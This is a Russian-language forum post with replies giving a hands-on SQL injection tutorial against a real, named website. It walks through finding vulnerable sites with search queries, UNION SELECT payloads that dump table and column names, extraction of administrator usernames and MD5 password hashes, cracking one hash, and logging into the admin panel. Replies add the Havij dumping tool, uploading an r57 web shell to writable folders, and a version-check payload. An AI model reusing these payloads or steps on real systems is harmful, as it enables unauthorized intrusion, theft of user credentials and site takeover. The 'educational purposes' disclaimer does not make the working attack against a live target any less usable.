Полезные знания Sql-injection

ДИССИДЕНТ
Freyja

Freyja

Эксперт
СОЛНЫШКО ПРОЕКТА
Регистрация
15/11/14
Сообщения
7.935
Репутация
13.721
Реакции
36.821
RUB
0
Сделок через гаранта
9
СУБД (система управления базами данных) MySQL отличается от остальных своей доступностью и простотой в использовании. По этому она стоит на большинстве сайтов.

В этой СУБД имеется уязвимость, благодаря которой через адресную строку (а иногда и не только) можно получить доступ к базе данных сайта, в которой находятся логины и пароли а так же другие данные пользователей и администраторов сайта. А называется эта уязвимость SQL-injection.


В этой статье я расскажу о:

- способах нахождения уязвимых сайтов на СУБД MySQL,

- проникновения в базу данных сайта (ручной способ)

- где хранятся логин и пароль администратора

- расшифровка пароля


1. Набрав в гугле запрос inurl: "php?id=" высвечивается множество сайтов с этим значением в адресной строке. Чтобы понять какой из всех сайтов "дырявый" нужно в конце адресной стоки подставить знак апострофа "`" и обновить страницу.
[HIDE=""]calidus.ro/en/news.php?id=2`[/HIDE]

Если в сайте имеется уязвимость, он отобразится некорректно:



2. Далее проводим инъекцию следующим запросом:

[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1+limit+1,1--[/HIDE]

union - позволяет объединять результаты нескольких запросов в одну таблицу

select – позволяет выбрать какие именно колонки нам вывести

1 - колонка

limit – позволяет получать информацию порциями


Далее нам нужно найти уязвимое поле в базе данных через которое мы будем вытаскивать данные из таблицы. Для этого нам нужно перебирать колонки (после каждой цифры обнавляя сраницу).
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,2,3,4+limit+1,1--[/HIDE]

Вот мы увидели цифры на странице:



Под этими цифрами у нас и имеется уязвимость. Выбираем цифру, я выбрала 2, и подставляем table_name (имя таблицы) вместо этой цифры в запросе. После колонок дописываем from information_schema.tables

получили вот такой запрос:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,table_name,3,4+from+information_schema.tables[/HIDE]
from – говорит откуда брать данные

table_name – выведет имя таблицы вместо замененной цифры

information_schema – хранит метаданные базы данных


таким образом мы увидели названия всех таблиц в базе данных:




(На скринах база не вся, просто для примера)

Если база данных очень велика, и целиком она нам не нужна, в конце мы можем добавить ключ +limit+1,1--

limit - позволяет вывести указанное число строк из таблицы. выводит то количество записей, которое указано в первом параметре. Если, через запятую указано значение второго параметра, то будут выведены строки в диапазоне первый параметр — второй параметр включительно.

3. Теперь нам нужно найти логин и пароль администратора. Посмотрев на всю БД, исключив стандартные таблицы (те что на капслоке) я вижу таблицу users. Пробуем ее открыть. Для этого нам нужно перевести слово users в hex (шестнадцатиричную систему). В гугле куча онлайн сервисов для этого. Открываем любой, вставляем нашу таблицу, нажимаем кодировать. Получилось 7573657273.

Дальше меняем в нашем запросе table_name на column_name, так как теперь мы уже будем работать с колонками. Но предварительно упростим себе задачу, поставив перед колумн слово concat и возьмем column_name в скобочки. Concat служит для объединения нескольких значений. Чуть позже поймете...

В information_schema меняем .tables на .columns и добавляем where table_name=0x7573657273


where – определяет условия поиска


Так мы обозначили, что открыться должа определенная таблица.

Получился запрос:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,concat(column_name),3,4+from+information_schema.columns+where+table_name=0x7573657273[/HIDE]

И вот мы видим все колонки.




Нам тут интересны колонки username и user_password. Будем их открывать. Пишем concat(username,0x3a,user_password)

0x3a - разделитель ( : )


Добавляем from и имя таблицы в ее обычном виде. Получаем:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,concat(username,0x3a,user_password),3,4+from+users[/HIDE]

И видим:




4. Пароль мы видим в кодировке md5-hesh. В гугле так же много сервисов по расшифровке. Первый попавшийся сайт смог найти соответсвие хеша 63a9f0ea7bb98050796b649e85481845 со значением root.

Вот мы и получили логин с паролем. Остаётся только найти админку и войти.
Так же можно было бы получить доступ ко всем пользователям и их эмеил адресам, но здесь их всего лишь 3.
Как обезопасить свой сайт от подобного взлома написано в википедии)

Материал написан исключительно в ознакомительных целях, ответственность за использование этого материала автор не несёт :) .
 
Последнее редактирование:
Практическое учебное пособие!!!!! Хотя и не для моего ума))))) Респект!
 
Последнее редактирование:
Freyja, с телефона подбирали? О_О
 
кто нибудь ссылку скинет на эту прогу?
 
от души умница)протестим данный вариант)
 
Хорошо и доходчиво написано! Лайк!
 
тут нет никаких прог, все в адресной строке делается
Нет, ну почему... Есть такая программа, которая делает все почти тоже самое что я проделала руками. Только она это делает быстрее. Но у неё не всегда получается пролезть туда, куда можно пролезть руками.
Программа называется Havij.
Она вытягивает всю базу данных. Для хакеров эта программа будет более приемлима, когда речь идет о большом колличестве данных (например базу майлов, базу любых других данных)
А логин и пароль админа можно и руками найти.
 
Статья зачётная. Если речь идёт о конкурсе статей – голосую за эту статью за первое место
 
Freyja, и ктож тебя хакингу обучил?)
 
Статья зачётная. Если речь идёт о конкурсе статей – голосую за эту статью за первое место
Огромнейшее от души спасибо!!!:blush:

Freyja, и ктож тебя хакингу обучил?)
Да был в моей жизни один паренек))) у него сегодня днюха к стати) нужно поздравить о великого сенсея того времени)) мне было 16 когда я научилась вскрывать базы данных. Потом сложила эти знания на полочку)
 
С шеллами к сожалению не работала) много слышала о них, но сама их не использовала.

r57 shell, заливается в папку к примеру ico/images/ да и любые где есть разрешение на залив и выполнение, 777 права на папке могут стоять. Заливаешь шелл, заходим по пути site.ru/shell.php . В принципе все
 
Да еще момент, печально когда MySQL 4 версии, таблицы придется в ручную перебирать, а вот в 5 мускуле, одна команда,и все таблицы на лицо). А Ева умничка)
 
Да еще момент, печально когда MySQL 4 версии, таблицы придется в ручную перебирать, а вот в 5 мускуле, одна команда,и все таблицы на лицо). А Ева умничка)
Все верно, за исключением одного, я не Ева)

Да, забыла о версии написать, что проверяется она запросом:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,version(),3,4+limit+1,1--[/HIDE]
Screenshot_20160113-131631.1452673270.png
 
Прошу прощения. Я скину вас софт , будет базы проще хлопать)
 
  • Теги
    sql база данных взлом бд взлом сайта инъекция уязвимость
  • Сверху Снизу